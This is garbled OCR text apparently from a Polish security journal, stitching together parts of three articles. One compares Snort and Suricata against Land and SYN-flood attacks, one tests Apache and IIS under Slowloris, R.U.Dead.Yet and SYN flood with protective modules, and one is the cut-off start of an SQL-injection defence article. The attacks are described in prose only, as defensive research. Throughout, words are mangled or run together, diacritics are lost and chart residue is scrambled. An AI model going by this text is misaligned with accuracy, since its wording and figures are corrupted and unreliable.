10+

0 T T T T T T T T T 1

3
Liczba terminali

Rys. 6. Czasy odpowiedzi podczas komunikacji pday poszczegdlnymi podmiotami sieci w
sytuacji przeprowadzenia ataku Land na system ehamionym w trybie nfqueue systemem
IDS/IPS Suricata.

Fig. 6. Response time during communication betwespeactive network entities in case of Land
attack on the system with IDS/ IPS Suricata systaming in the nfqueue mode

Poniszy wykres przedstawia czasy odpowiedzi podczasukd@cji po-
miedzy poszczego6lnymi podmiotami sieci w sytuacji prosvadzenia ataku
Land na system z uruchomionym systemem IDS/IPStQmacugcym w trybie
nfqueue:
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Rys. 7. Czasy odpowiedzi podczas komunikacji gdmy poszczegdlnymi podmiotami sieci w
sytuacji przeprowadzenia ataku Land na system ehamionym w trybie nfqueue systemem
IDS/IPS Snort.

Fig. 7. Response time during communication betwespeactive network entities in case of Land
attack on the system with IDS/ IPS Snort systenmingin the nfqueue mode.

Drugim poddanym testom atakiem byt SYN-Flood. Agalanie jak w
przypadku ataku Land zbadano sprayénsysteméw IDS/IPS Snort i Suricata
pracupcych w trybie nfqueue w przypadkuzriej liczby terminali uruchomio-
nych wsrodowisku atakujcym. Poniszy wykres przedstawia czasy odpowiedzi
podczas komunikacji portzy poszczegdlnymi podmiotami sieci w sytuacji
przeprowadzenia ataku SYN-Flood na system#aelnego uruchomionego sys-
temu IDS/IPS:
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Rys. 8. Czasy odpowiedzi podczas komunikacji gozy poszczegdlnymi podmiotami sieci w
sytuacji przeprowadzenia ataku SYN-Flood na sysiemzadnego uruchomionego systemu

IDS/IPS.

Fig. 8. Response time during communication betwespective network entities in case of SYN-
Flood attack on the system without any of the IBS/systems operating

Ponizszy wykres przedstawia czasy odpowiedzi podczasukikacji po-
miedzy poszczego6lnymi podmiotami sieci w sytuacji prosvadzenia ataku
SYN-Flood na system z uruchomionym systemem IDS8Bfcata pracagym
w trybie nfqueue:
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Rys. 9. Czasy odpowiedzi podczas komunikacji gozy poszczegdlnymi podmiotami sieci w
sytuacji przeprowadzenia ataku SYN-Flood na systemuchomionym w trybie nfqueue syste-
mem IDS/IPS Suricata.

Fig. 9. Response time during communication betwespective network entities in case of SYN-
Flood attack on the system with IDS/ IPS Surisystem running in the nfqueue mode.

Ponizszy wykres przedstawia czasy odpowiedzi podczasukikacji po-
miedzy poszczegdlnymi podmiotami sieci w sytuacji prosvadzenia ataku
SYN-Flood na system z uruchomionym systemem IDS8R&t pracujcym w
trybie nfqueue:
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Rys. 10. Czasy odpowiedzi podczas komunikacji gdamy poszczegd6lnymi podmiotami sieci w
sytuacji przeprowadzenia ataku SYN-Flood na systemuchomionym w trybie nfqueue syste-
mem IDS/IPS Snort.

Fig. 10. Response time during communication betwespective network entities in case of
SYN-Flood attack on the system with IDS/ IPS $s8gstem running in the nfqueue mode.

4. Podsumowanie

Poréwnanie systemow IDS/IPS Suricata i Snort pgayeh w trybie
nfqueue pokazuje,e oba te systemy skuteczne w ochronie podmiotéw, awz
dzen i zasobdéw sieciowych przed nadeym do rodziny atakdw odmowy ustugi
atakiem Land. Dziatanie systemow pozwolito bardzdoeznie zminimalizo-
wac czasy opénien komunikacji pomgdzy r@nymi podmiotami w sieci przez
co mazdiwe jest ptynne, normalne korzystanie z sieci.Mdigcznie bardziej sku-
tecznym systemem w ochronie przed atakiem Landsjetem Suricata, ponie-
waz pod jego dziataniem opdienia w sieci nie przekraczajO[ms].

W przypadku ataku SYN-Flood system IDS/IPS Surigacujcy w try-
bie nfqueue okazal siskutecznym naeziziem w ochronie sieci przed tym za-
grozeniem. Maksymalne czasy omien nie przekraczaty 100[ms]. System
Snort pracujcy w trybie nfqueue nie zapobiega ogromnym czasdiroen
wynikajacym z dziatalnéci ataku SYN-Flood. Pakiety w tym przypadkytsa-
cone, co powodujee uniemaliwiona jest praca i korzystanie z sieci. Oznacza
to ze system ten jest nieefektywny w ochronie sieceégratakiem SYN-Flood.
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Na podstawie uzyskanych wynikéw pma stwierdz, ze w przypadku try-
bu pracy nfqueue system Suricata cechujensisoky sprawndcia w ochronie
sieci przed skutkami atakéw odmowy ustugis sgstem Snort tej ochrony nie
zapewnia, gdyjest nieskuteczny w ochronie sieci przed atakiéfN-Flood.
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EFFICIENCY TEST OF IDS/IPS SYSTEMS AGAINST DOS AND DDOS
ATTACKS
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tions effectiveness and efficiency of defense agjattacks by the two network intrusion detection
systems in the segment of open-source Snort aridafurAnalyzed solutions working modes
nfqueue and af-packet, using the same set of rQl@wparative tests carried out using the two
most common threats such Land and SYN Flood, shewpdriority solutions Suricata the effec-
tiveness of detection of the analyzed attacks.artiele is addressed to people involved in the
implementation and administration of security syste
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ANALIZA PODATNO SCI SERWEROW WWW W
ODNIESIENIU DO ATAKOW ODMOWY UStUGI

Artykut jest adresowany w gtéwnej mierze do osoprzggcych seé bezpieczé-
stwem serweréw WWW. Praca rozpoczyna @il przedstawienia statystycznego
ujecia problemu, jakimgataki DDoS. Autorzy ktagl szczegdlny nacisk na pro-
blematyle ochrony serweréw przed szybko rozwi@jmi si atakami odmowy
ustugi. W pracy przeanalizowano odpatiopodstawowych konfiguracji dla naj-
popularniejszych obecnie serweréw web. Na potrazmnya zostalo opracowane
wirtualnesrodowisko testowe, na ktérym zrealizowano badaon@damdci wybra-
nych systeméw WWW. Celem wykonanej analizy jespoznanie oraz omoéwie-
nie podstawowych podatée serwera Apache oraz serwera IIS. Dladego z
omawianych serwerow WWW autorzy zaimplementowaligiawowe mechani-
zmy ochrony. Artykut jest adresowany do osob zajeygh sé analiz oraz bez-
pieczéistwem serweréw web.

Stowa kluczowe:DDoS, ochrona, bezpiearstwo, podatn& serweréw WWW,
Apache, IIS.

1. Wstep

Wraz z postpem techniki powstaje coraz ¢giej nowych zagrzen. Auto-
rzy zwracaj uwag, iz ataki DDoS dotycy kazdego z aytkownikow sieci
WWW. Dlaczego? Odpowigdna to pytanie jest bardzo prosta, mianowicie
wickszas¢ uzytkownikow korzysta z wielu ustug internetowychesto nie zda-
jac sobie o tym sprawy. W ostatnich latach coraz [opiejsze staty sisklepy
internetowe, internetowe konta bankowe czy inneagm e-ustug. Ataki DDoS
mog by¢ wykorzystywane do powodowania strat finansowyckydhb korpora-
cji, wykradania rekordéw zawierggych hasta i loginy z baz danych bankéw a
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takze znajduj swoje zastosowanie do walki z organizacjamdavymi. Nieste-
ty to nie wszystkie cele, do ktorych wykorzystuje ataki DDoS. Wgkszas¢
administratorow i 0s6b zajmagych s¢ bezpieczéstwem w sieci, postrzega
ataki DDoS, jako zageenie, z ktérym nalgy walczy¢. Ataki odmowy ustugi
mog by¢ takze wykorzystywane do badania poddticserwerow WWW. Nie-
stety bardzo rzadko ataki DDo§ wykorzystywane w dobrych celach. fu
czesciej stap sie narzdziem stigcym do nielegalnego zarabiania pigddy czy
pozyskiwania informacji. To jak zostamvykorzystane zalgy w gtownej mierze
od zamiaréw atakgfego. Z kadym rokiem powstaj nowe, bardziej skompli-
kowane nargdzia umdaliwiajagce przeprowadzenie niebezpiecznych atakéw
DDoS. Administratorzy serwerow WWW oraz osoby zggoe st bezpiecza-
stwem w sieci stgj przed bardzo trudnym zadaniem, jakim jest zapevimie
bezpieczéstwa sprztowi i aplikacjom internetowym. Autorzy zwragajiwag;,

iz szybko rozwijajce mechanizmy atakow unietiviajg 100% zabezpieczenie
serwerdw. W ostatnich latach atadwy coraz cezsciej powracaj do starych
metod atakow skierowanych na warstaplikacji, dlatego istotnym elementem
bezpieczéstwa stato si projektowanie oraz wdfanie odpowiednio zabezpie-
czonych aplikacji internetowych.

2. Statystyczne ugcie problemu atakow DDoS

Celem dla ataku me st& si¢ dowolna witryna lub ustuga WWW. Wedtug
raportu Netcraft do najpopularniejszych a co za igmie najczsciej wykorzy-
stywanych serweréw sieci Web zaliczano m.in. seriygache, Nginx czy ser-
wer Microsoftu [10]. Jak podaje raport [10], z uptserwera Apache w roku
2015 korzystato 50,45% wszystkich stron i serwis®WW. Natomiast drugie
miejsce w rankingu zalj serwer Nginx, udogpniajgc swoje ustugi dla 15,33%
klientow.

Procentowy udziat

Rys. 1. Procentowy rozktad aktywnych serwisow WWWb#niesieniu do serwerow WWW w
latach 2000- 2015

Fig. 1. The percentage distribution of active Wibssin relation to the web servers in the years
2000- 2015
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Wedtug raportu Neustar DDoS Attacks & Protectiap8rt [11] wek-
szas¢ firm, atakowanych jest kilka razy rocznie, natoshi@80% badanych firm
pada ofiag ataku ponad 10 razy wagu roku. Jeeli atak zakaczy st powo-
dzeniem rednie straty finansowe w godzinach szczytu szanevgana ponad
100 tys. dolaréw. Wksza¢ spotek finansowych (94%), do obrony wykorzystu-
je tzw. hybrydowe mechanizmy ochrony. Wraz z gosin techniki, dize firmy
zmieniap podegcie do ochrony przed atakami DDoS. W dzisiejszyzasach
wiekszas¢ firm nadal korzysta z tmego rodzaju firewall-i, ale ponadto wyko-
rzystywane & mechanizmy fagodee czy ustugi w chmurze w celu zwalczenia
atakéw. W ostatnim roku da popularné¢ zyskaly rozwazania hybrydowe.
Rysunek 2 przedstawia dane statystyczne.

I <o

Tradycyjne zapory oparte ISP

Web application firewall _ 20%
przefacznikii routery | 5
Moduty fagodzenia DDoS _ 26%
Ochrona hybrydowa _ 31%
con [ 14

Brak zabezpieczen . 3%

Rys. 2. Procentowy rozktad stosowanych mechanizoignony przed atakami DDoS
Fig. 2. The percentage distribution of used defensehanisms against DDoS attacks

Jak podaje raport [11], coraz egej atakow DDoS jest przeprowadzanych
na firmy finansowe. W zwiku z duym prawdopodobigstwem ataku, wek-
sza¢ firm zmuszona jest do pagjia krokow zapobiegawczych, jednogzie
inwestupc w hybrydows ochronne przeciw atakom odmowy ustugi. Wedtug
raportu Neustar czyndoi te podejmuje 43% zagronych firm finansowych.
Branza ustug finansowych opieragsna rownowaeniu ryzyka oraz odpowied-
niemu inwestowaniu. Niedaginas¢ jakichkolwiek ustug zawsze zgaana jest z
duzymi stratami. Dlatego dobrze przygotowane mechapiothrony a take
detekcji atakéw DDoSgskluczowe dla dziatania firmwiadczcych ustugi fi-
nansowe. Jak podaje raport [11], firmy porpsajwicksze straty finansowe w
godzinach szczytu. Natg pamktat, iz dane pochodgzz firm zlokalizowanych
w Stanach Zjednoczonych.
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Mniej niz 25 tys _ 18%
29 -aotys [ 5%
s0-99tys [ %
100-249tys | =%
250-499tys [ %
500 tys - 1 milion _ 7%
wiecej niz mition || N NI 1
Nie wiadomo | -

Rys. 3. Straty finansowe wynikgje z atakow DDoS przeprowadzonych w godzinach $aczy
Fig. 3. Financial losses resulting from DDoS attacérried out during peak hours

Bezpdarednio z ilgcia przeprowadzanych atakowage sk sita przeprowa-
dzonego ataku. Interegaymi statystykami przedstawionymi w raporcie [14] s
statystyki ukazujce czstotliwos¢ atakow wraz z podziatem na moc. Najodj
atakdéw wykonywanych jest z maasita. Nie oznacza tozisg one nie skuteczne,
poniewa zadaniem ataku DDoS jest doprowadzenie serwesytacji, w kto-
rej zgtoszona zostanie odmowa ustugi. Niektére rmemy atakéw wykorzy-
stujp do tego celu luki w aplikacjach. Ponadto istnigjeipa atakéw Slow
HTTP, ktérych dziatanie opieragsb powolne uzupelnianie ciatady nagtéwka
HTTP. lloé¢ atakow wykorzystujcych mah przepustowst tacza uzaleniona
jest take od dosfpnych narzdzi umaliwiajacych wykonanie prostego ataku
DDoS. W wikszaci przypadkow g to aplikacje okienkowe, w ktérych dziala-
nie osoby wykonujcej atak ograniczagsido podania adresu ofiary oraz wybra-
nia rodzaju przeprowadzanego ataku.

Mniej niz 500 Mbps

17%

500 - 999 Mbps

9%

1.0- 4.9 Gbps

10%

5.0-9.9 Gbps 7%

10.0 - 19.9 Gbps 5%

20.0 - 49.9 Gbps

3%

50.0 - 100 Gbps

2%

Wiecej niz 100 Gbps - 1%

Rys. 4. Sita ataku DDoS$ndd badanych firm
Fig. 4. The strength of DDoS attack among the sigdeompanies
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Aby atak przynidst oczekiwane efekty w postaci tsti@ansowych nabey
go przeprowadzi w odpowiednim momencie. Wedtug danych statystychny
przedstawionych w raporcie [11] najpeej firm, bo & 27% wrod badanych,
pada ofiag atakéw DDoS od dwach doggiu razy w cigu roku, natomiast 14%
firm staje s¢ ofiarg ataku w kadym miesgcu. Innym wanym parametrem
przedstawionym w raporcie Neustar, jest czas wykrnje atakdw oraz czas
odpowiedzi. Jak najszybsze wykrywanie atakéw jedhym z kluczowych ele-
mentéw stosowanych do walki z tego typu zagrsami. Efektywne wykrywa-
nie zagragenia jest procesem niezwykle trudnym do zrealizoswaBez odpo-
wiednich mechanizméw unitiwiajacych wykrywanie atakow, waden sposob
nie jest maliwa obrona przed atakami DDoS. Wedtug raportu gkezaci
badanych firm proces ten trwa mniej igodzire. Istniep jednak przypadki,zi
atak nie zostanie wykryty nawet przezeaj nz 24 godziny.

60%
54%

Czas wykrycia

50% ataku

49%

40% Czas

odpowiedzi
30%

23%
20%
20% 20%

10% 11%

8% s o 2%

0% 1% 1%
Mniej niz 1-2 godzin 3-5 godzin 6-12 godzin 12 -14 godzin Wiecej niz 24
godzina godziny

Rys. 5. Czas wykrycia ataku DDoS w stosunku do cedpowiedzi
Fig. 5. DDoS attack detection time relative to tbégponse time

3. Rodzaje atakow odmowy ustugi

Przeprowadzona analiza skutecirioatakow wykazata skuteczéto po-
szczegoOlnych typow atakow. Do przeprowadzenia ayaliykorzystano skrypt
Slowloris, R.U.Dead.Yet oraz atak Syn Flood. Renpizostaly przedstawione
pokrotce charakterystyki zastosowanych typéw atakéw

* Slowloris — atak wykorzystagy podczas swojego dziatania zapytania
HTTP Get. Jednym z gtiéwnych zadskryptu jest podtrzymywanie aktyw-
nego padczenia. Pajczenie mae zostd zamkngte poprzez wystanie zna-
ku pustej linii za pomag dwdéch znacznikéw [CRLF][CRLF]. Dane pod-
trzymujace pohczenie z serwerem zaktzone § pojedynczym znaczni-
kiem [CRLF]. Skuteczri® ataku Slowloris zapewniona jest poprzez
utrzymywanie wielu pét-otwartych pgzer. Maksymalny czas przezna-
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czony na uzupetnienie nagtéwka wynosi 300s. Czasnaze by dowolnie
zmodyfikowany przez administratora serwera WWWzdaprzestanie pa-
kietu do serwera powoduje ustawienie czasu odnowavarté¢ 300s.
Istotrg informacp dotyczcg ataku Slowloris jest faktziatak ten nie nisz-
czy wzaden sposéb danych a jedyniezmaloprowadzi do niedosfpnaici
serwera WWW. Podczas trwania samego ataku, niejstmaliwosé na-
mierzenia sprawcy wykorzystj jedynie logi serwera Apach&adania
przesytane do serwera wydagie by¢ uzasadnione, przez co systemy IPS
nie ¢ wstanie wykrg ataku za pomagcskryptu Slowloris. Atak Slowloris
nie jest atakiem wymaggym duwej przepustowei. Po kilku sekundach
od zakdiczenia ataku serwer wraca do normalnego trybu gigd;, 9, 13].
R.U.Dead.Yet — darmowy skrypt bazcy na zapytaniach HTTP Post. 4de
dziatania ataku jest przesytanie niekompletnyck, wtasadnionych frag-
mentow ciata nagtdwka. Podczas podtrzymywania pdadego pajcze-
nia wykorzystywane jest dtugie pole Content — Langliak R.U.Dead.Yet
wysyla fragmenty nagtéwka o rozmiarach 1 bajta wylgstupc do tego
niewielka predkos¢. Odpowiednia konfiguracja ataku geospowodowsd, iz
pakiety kzda wysytane w losowej kolejréai, przez co proces wykrywania i
ochrony przed atakiemegbizie znacznie trudniejszy. Istnieje Aiwosé¢ za-
maskowania prawdziwegdrodtowego adresu IP poprzez wykorzystanie
proxy [5,13].

Syn Flood — atak wykorzystigy niedoskonalei polgczenia TCP/IP.
Three Way Handshake jest to proces tworzeniacgehia klient — serwer.
W pierwszym etapie ustanawiania gg#enia, zadaniem klienta jest zare-
zerwowanie portu oraz przestanie pakietu SYN dowesx WWW. Nasfp-
nie zadaniem serwera jest rezerwacja zasobéw atpawied: pakietem
SYN-ACK. Kolejnym etapem ustanowienia potenia jest odpowiedz
klienta pakietem ACK, czego efektem jest zataenie procesu tworzenia
pofaczenia klient — serwer. Podczas ataku Syn odpdwsedwera zostaje
przestana na sfatlszowany adres IP. Co &ény interwat czasowy serwer
wysyta kolejny pakiet SYN-ACK. Pot-otwarte pokzenie mae by pod-
trzymane nawet od 3 do 4 minut, przez co zasobweser nie zostan
zwolnione. Oznacza toz utworzenie dgej liczby pohczer maze wyczer-
pat ograniczone zasoby serwera,eftziczemu zgtoszona zostanie odmowa
ustug [1, 3, 13].

4. Mechanizmy ochrony przed atakami odmowy ustugi

Jednym z elementéw przeprowadzanej przez autoréalizgnserwerow

WWW byta implementacja wybranych mechanizméw ochirpnzed atakami
DDoS. Implementacja mechanizméw miata na celu ztiadaachowania wy-
branych web serweréw w stosunku do atakéw odmowygusv przypadku
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braku zastosowania mechanizméw bezpigstzea jak i w przypadku urucho-
mienia kadej z zaimplementowanych metod ochrony. Poniewaschitektura
wickszaici serwerdw jest rna, nie mana zaimplementowatej samej wersji
mechanizmu dla hych serweréw. Niemniej jednak istriejdozne wersje tych
samych aplikacji, z ktérych kda jest dedykowana dlazdych serwerow. Wy-
korzystane mechanizmy ochrony przed atakami DDaSao przedstawione
pontej:

Modut mod_security — petni role zawansowanego fakbw dla serwera
Apache. Gltownymi zadaniami modutu jest monitoroveainanaliza napty-
wajacego ruchu do serwera WWW. Natomiast wprowadzenaciwych
regut umaliwia ograniczenie iléci logowax do jednego na mingitczy te
umazliwia stworzenie czarnej listy, do ktérej dodawdnres adresy IP, dla
ktorych zostaly przekroczone ustalone parametrnynaBm modut meze
sprawdza ilos¢ wystanychzadan z danego adresu IP orazsitazadan wy-
magajcych zasobdéw dynamicznych. Dofinjie adres IP mige zosté usu-
niety z listy zakazanych adreséw po uptywie 5 min [15]

Modut mod_qgos — modut przevsie wykorzystywany do zabezpieczenia
odrebnych ustug serwera Apache. Jego gldwalet, jest maliwos¢ ogra-
niczenia zaréwno dolnej jak i gornej przepustésidacza, ktérym bda
przesytane informacje. Takie pofigg twércow przy projektowaniu modu-
tu zapewnia skuteczna ochkoprzed atakami Slow HTTP. Istnieje fak
mozliwos¢ ograniczenia maksymalnej liczby obstugiwanych rkigsv,
maksymalnej liczby pgtzer HTTP Keep — alive, maksymalnej liczby ak-
tywnych pohczen TCP oraz maksymalnego rozmiaru ciata i nagtovwda
dania. Dodatkow zalety modutu jest mgliwos$¢ dofgczenia innego modutu
umazliwiajacego generowanie statystyk i raportow przedstasyah sytu-
acje, jaka panuje w danej chwili na serwerze Apdtbg

Modut mod_evasive — modut stworzony zaréwno dlaveest Apache jak i
dla serwera 1IS. Jego gtdwnym zadaniem jest ochymmzed atakami od-
mowy ustugi wykorzystujc ograniczenia iléci jednoczesnychigdan dla
watku lub procesu. Jego konstrukcja utiwia na komunikacje z routera-
mi, ipchains oraz z firewallami [6].

Modut dynamicznego ograniczenia IP — zapewnia aghmwzed atakami
typu Slow HTTP oraz Syn Flood dla serwera I1S. Réadego adresu IP
zliczana jest liczba nawdanych pajczen. Dodatkowym parametrem ogra-
niczagpcym mazliwos¢ wykonania ataku DDoS jest ograniczenie maksy-
malnej liczbyzadan dla danego adresu IP, jakie ieoobstuy¢ serwer w
danej chwili. Jeeli zostanie przekroczony jeden z wymienionych pera
trow, pohczenie mae zostéd zamknéte przez serwer lub ne zosta za-
blokowane do momentu, kiedy liczba ge#ter lub zadan nie spadnie poni-
zej okr&lonego limitu. W obydwoch przypadkach atajayj zostanie poin-
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formowany jednym z 4 komunikatow: got 401 —padczenie nieautoryzo-
wane, bad 403 — zabronione padzenie, bid 404 — plik nie zostat znale-
ziony lubzadanie zamkrite [1, 2].

5. Analiza podatnaci serwerow WWW

Jednym z podstawowych zadkazdego serwera jest obstugadan proto-
kotlu HTTP. Serwery WWW gwykorzystywane m.in. do utrzymywania stron
WWW oraz wielu innych ustug internetowych. Do ngptarniejszych nalsy
poczta WWW. Istnieje wiele serwerdwzrdacych s¢ architektug, mechani-
zmami ochrony czy obstggzadan klientéw. Autorzy badali podatséoi serwera
Apache oraz serwera firmy Microsoft.

Serwer Apache — najbardziej popularny i jednéciee darmowy serwer
WWW. Moze dzialg w jednym z dwoch trybédw: MPM Prefork oraz MPM
Worker [4]. Istotra r6znica pomigdzy trybami pracy jest sposéb obstugdan.
Pracujc w trybie MPM Prefork, serwer dla #@ego przychodgegozadania
tworzy nowy proces potomny natomiastzgk serwer pracuje w trybie MPM
Worker dla kadego zadania tworzony jest nowy atek potomny. Obydwie
architektury posiadajwady jak i zalety. Serwer pragoy w trybie Prefork za-
pewnia bezpieczstwo ka&dego z nawdzanych padczenr gdyz w sytuacji, gdy
pofgczenie musi by zerwane, zostanie zakzony tylko jeden proces. Zadet
pracy w trybie MPM Worker jest mtiwo$¢ zestawienia przez serwerekszej
ilosci polaczen, poniewa pojedynczezadanie zaywa mniejsz liczbe zasobéw
[4, 14].

Serwer |IS — serwer stworzony i rozwijany przemé Microsoft. Zapew-
nia szerokie wsparcie dla produktéw .NET Frameworfiz ASPX. Oferuje
narzdzia umaliwiajace sledzenie nieprawidtowychadan czy wsparcie wirtu-
alnego hostingu. Do obstughdan aplikacji routingu, ustug multimedialnych,
obstugi FTP wykorzystuje zewtrzne rozszerzenia internetowe.

Niezalenie od zastosowanego serwera WWWzmyan elementem jego
pracy jest zapewnienie bezpieigiva przechowywanym danym jak i dziataj
cym ustugom. Aplikacje te powinny byzabezpieczone przed wszystkimi po-
tencjalnymi atakami. Autorzy zwragajiwag; na problem 100% zabezpieczenia
serwera WWW przed naruszeniem procedur bezpistzea. Niestety nie nmio
na powiedzié, iz istnieje serwer zabezpieczony w takim stopniu,@eaz zaw-
sze jest szansa; jakis atak zostanie zakezony sukcesem. Owcaée stoso-
wane mechanizmy ochrony przed atakami DDgSwgstarczajce, ale cigle
musz by¢ rozwijane. Przeprowadzona analiza podathawoch najpopular-
niejszych serweréw miata na celu pokazanie poszadagch stabych punktow.
Analiza podatnéci zostata powtdrzona po zaimplementowaniu mechaiz
obrony przed atakami. Przeprowadzane testy wykomastaty w zamkmitym
srodowisku testowym. Zastosowanie wirtualnegodowiska umeliwito auto-
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rom na przeprowadzenie bezpiecznej analizy podatrserweréw WWW [12,
13, 17, 18]. Do przeprowadzenia wéziej wspomnianej analizy zostaty wyko-
rzystane 3 maszyny wirtualne, z ktorychrda posiadata zainstalowany system
Kali Linux. Dla maszyny wirtualnej pelgiej role serwera www zostat ustawio-
ny rozmiar pamici RAM na warté¢ 4GB, stworzony wirtualny dysk SCSI o
rozmiarze 60GB. Serwer przez caty czas miat do aggi dwu rdzeniowy
procesor. Serwer Apache przez caly okres trwarstowe pracowat w trybie
MPM Prefork, co pozwolito na bezpieczne zamykani@an sklasyfikowanych,
jako prawdopodobny atak. Kdy z testow zostat wykonany 4 razy. Niestety do
testow nie zostaty wykorzystane zasoby fizycznemaera.

Kazdy z dzialagcych serwerdw mee st& sie ofiarg ataku odmowy ustugi.
W porownaniu z ubieglymi latami, eztotliwos¢ przeprowadzanych atakéw
wzrosta. Oznacza toz z kazdym kolejnym rokiem coraz istotniegskwesth s3
mechanizmy ochrony serwerow WWW. Szczegblnie pochaitrserwerami $
maszyny, ktére zostaly pozbawione podstawowych dhetrony, detekcji czy
mechanizmoéw odpowiadgjych za zwalczanie zagmn. Poniej przedstawione
zostaty wyniki przeprowadzonych badaaroéwno dla serwera Apache jak i ser-
wera |IS.
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Seedni czas ladowani stroey [ms)
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Ut mod_s ty

Brak ochrony Mo Modut mod_qos Modut mod_evasive

Typ rastosowane, €0
mechanizmu ochrony

Slowlorls MR U.Dead.Yet = Syn Flood

Rys. 6. Analiza czasu tadowania stron WWW serwepache w czasie trwania wybranych ata-
kéw DDoS

Fig. 6. Analysis of charging time web server Apadheing the selected DDoS attacks

Przeprowadzone badania podaticerwera Apache wykazaty istotne bra-
ki mechanizméw wykrywania oraz zapobiegania atakiboS. Niestety serwer
Apache w doméinej konfiguracji nie jest w stanie odepézewajgcego ataku.
Podczas trwania ataku R.U.Dead.Yet serwer zgtadihawe ustugi a strona
testowa zostata zatadowana kilka sekund po frz#eniu ataku. W przypadku
wykonywania testow skryptem Slowloris oraz geneeato pakietow symulygj
cym atak typu Syn Flood okazal@ siz serwis odpowiedziat nzgdanie klienta,
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ale dopiero po 2600 ms oraz 3500 ms. Zastosowaylieanwych mechanizméw
ochrony spowodowatoz iodpowiedzi serwera ksztattowaty sv przedziale do
200 ms do 600 ms w zateosci od zastosowanej ochrony.

$redni czas tadowani strony [ms
2

Brak ochrony Modut dynamicznego Modul mod_evasive
ograniczania IP

Typ zastosowanego
mechanizmu ochrony

mSlowloris ®WR.U.Dead.Yet Syn Flood

Rys. 7. Analiza czasu tadowania stron WWW serwé&Baw czasie trwania wybranych atakéw
DDoS

Fig. 7. Analysis of charging time Web IIS server tioe duration of selected DDoS attacks

Analiza zachowania serwera IIS w odniesieniu dbnagych atakow wy-
gladata nieco inaczej. W przypadku braku zastosowanyebthanizméw ochro-
ny serwer odpowiadat szybciejzraerwer Apache. Zastosowanie mechanizmow
ochrony spowodowato poprawv przypadku, gdy dziataly zaimplementowane
moduty. Wzadnym z testow niezgtoszona zastata odmowa udhigiajbardziej
pesymistycznym przypadku strony tadowane byly wsiz&rétszym i 1200
ms. Najlepsz ochrore dla serwera IIS podczas ataku R.U.Dead.Yet oraz Sy
Flood zapewnit modut dynamicznego ograniczaniaNBtomiast w przypadku
ataku Slowloris.

6. Podsumowanie

Przeprowadzone badania pokazaty zachowania semwfd/W w odnie-
sieniu do ranych typow ataku. Typy atakow zostaty dobrane w sglsob, aby
zbadd& wiele stabych stron serwerdw.

Odpowiednia implementacja mechanizméw ochronyenmapewni sku-
teczniejsz ochrorg przeciwko atakom DDoS. Nate zdawa& sobie spragy, iz
waznym elementem zabezpieczenia serweréw WWW jesbwrse mechani-
zmoéw umaliwiajacych wykrywanie zagran. Im wczeniej administrator ser-
wera WWW lgdzie wiedzial o zageeniu tym szybciej zostanpodgte odpo-
wiednie kroki walki z atakiem. Najbardziej podatnywarwerem w dongjnej
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konfiguracji okazat si serwer Apache. Implementacja ktéregokolwiek z \aybr
nych mechanizméw ochrony spowodowata, serwer nie zgtaszat odmowy
ustugi. Sytuacja serwera 1S byta bardzo podoboeaifo z w domyinej kon-
figuracji serwer nie zgtaszat odmowy ustug, po zaamentowaniu mechani-
zmow ochrony strony WWW byly tadowanezuefektywniej nk podczas ataku
DDoS bez uruchomionych metod zabezpiécze
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VULNERABILITY ANALYSIS OF WEB SERVERSIN REFERENCE TO
DENIAL-OF-SERVICE ATTACKS

Summary

The article is addressed primarily to those invdlirethe security of web servers. The work
begins with the presentation of statistical treattrad the problem, which are DDoS attacks. The
authors emphasize the problems of server prote@gainst rapidly-evolving attacks denial of
service. The study analyzed the resistance of diseltonfiguration for today's most popular web
server. For the study, we have developed a vitestl environment, where the research was car-
ried out vulnerability of selected sites. The aifittds analysis is to identify and discuss the fun-
damental vulnerability of Apache and IIS. For eathhe Web servers authors have implemented
the basic mechanisms of protection. The artickddressed to people involved in the analysis and
the security of web servers.
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ANALIZA STATYCZNYCH METOD OBRONY
PRZED ATAKAMI SQL INJECTION

W artykule zaprezentowano anagligodatndci systeméw bazodanowych na ataki
typu SQL Injection. Praca rozpoczyna ed przedstawienia charakterystyki anali-
zowanego ataku w kont&ke baz danych. Bazy danych, pomimo kluczowego
znaczenia w infrastrukturze wszelakich systeméwneadzag si¢ niedostatecznym
poziomom zabezpiececo w konsekwencji me@ prowadat do powanych strat.
Podstawowym zagéeniem g ataki SQL Injection, na ktére obecnie nie vwpsija
zewretrzne mechanizmy obrony. W tym celu zostalo zapnop@ne rozwjzanie
zabezpieczgfe systemy bazodanowe poleg& na odpowiednim przygotowaniu
kodu, ktéry obstuguje dynamiczne zapytania do lekyych. Testy wykazaty du
skuteczné¢ zabezpiecze przed aktualnie znanymi atakami SQL Injection.yArt
kut adresowany jest do administratorow baz danycseezegdlnéci na potrzeby
ustug webowych.

Stowa kluczowe:bazy danych, bezpieazstwo, podatn&t, sqlmap

1. Wprowadzenie

Aplikacje webowe staty sipraktycznie nieodcznym elementem naszego
wspotczesnegaycia codziennego. Na przykiad:sierealizujemy zakupy w
sklepie internetowym, wypwczamy ksizke z internetowego ksgozbioru bi-
blioteki, rezerwujemy bilet na samolot, mecz, cayvet logujemy si do portali
internetowych; korzystamy z aplikacji webowej, ladrajprawdopodobniej dzia-
ta w oparciu o relacyp baz. Dlatego niezwykle istotnym jest zapewnienie
wysokiego poziomu bezpieargwa baz danych, tak, aby zapetviriforma-
cjom wprowadzanym podczas realizacji transakcjufpac i integralngd¢. Jed-
nak w praktyce jest to niezwykle trudny i zémy proces.
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Najpowaniejszym oraz najgiciej wysepujacym zagraeniem dotycg-
cym systeméw bazodanowych jest obecnie SQL Injecfl. Pomimo po-
wszechnie znanej skali problemu,e8zci¢ instytucji nie zdaje sobie sprawy
jak istotny i destrukcyjny wptyw na aplikacje imetowe, systemy e-commerce
oraz bardzo wiele innych systeméw, ktére dzigtajoparciu o relacyjne bazy
danych mee mi€ to zagraenie. W podatnym na atak SQL Injectignodowi-
sku informatycznym, mia dogé do ujawnienia wszystkich informacji przecho-
wywanych w bazie danych, takich jak logingytkownikow, hasta, numery kart
ptatniczych, adresy, numery telefonéw i wiele, wieinych poufnych informa-
cji.

Czym wkc jest SQL Injection? Jest to podatéoukierunkowana na apli-
kacje internetowe, daga atakujcemu maliwos¢ ,wstrzykniecia” do bazy da-
nych, dodatkowego, wtasnego zapytania SQL. Atakijexliwy do wykonania
na aplikacjach, ktdre w nieodpowiednim stopniu, hib realizuj filtrowania
zapyta wysytanych do bazy danych. W konsekwencji aplizagjsle zapytanie
do bazy, ktére zostanie wykonane tak samo jak aapsgt do ktérego kod zostat
»,doklejony”. Skutecznie wykonany atak s@da& mozliwosé odczytania, zmia-
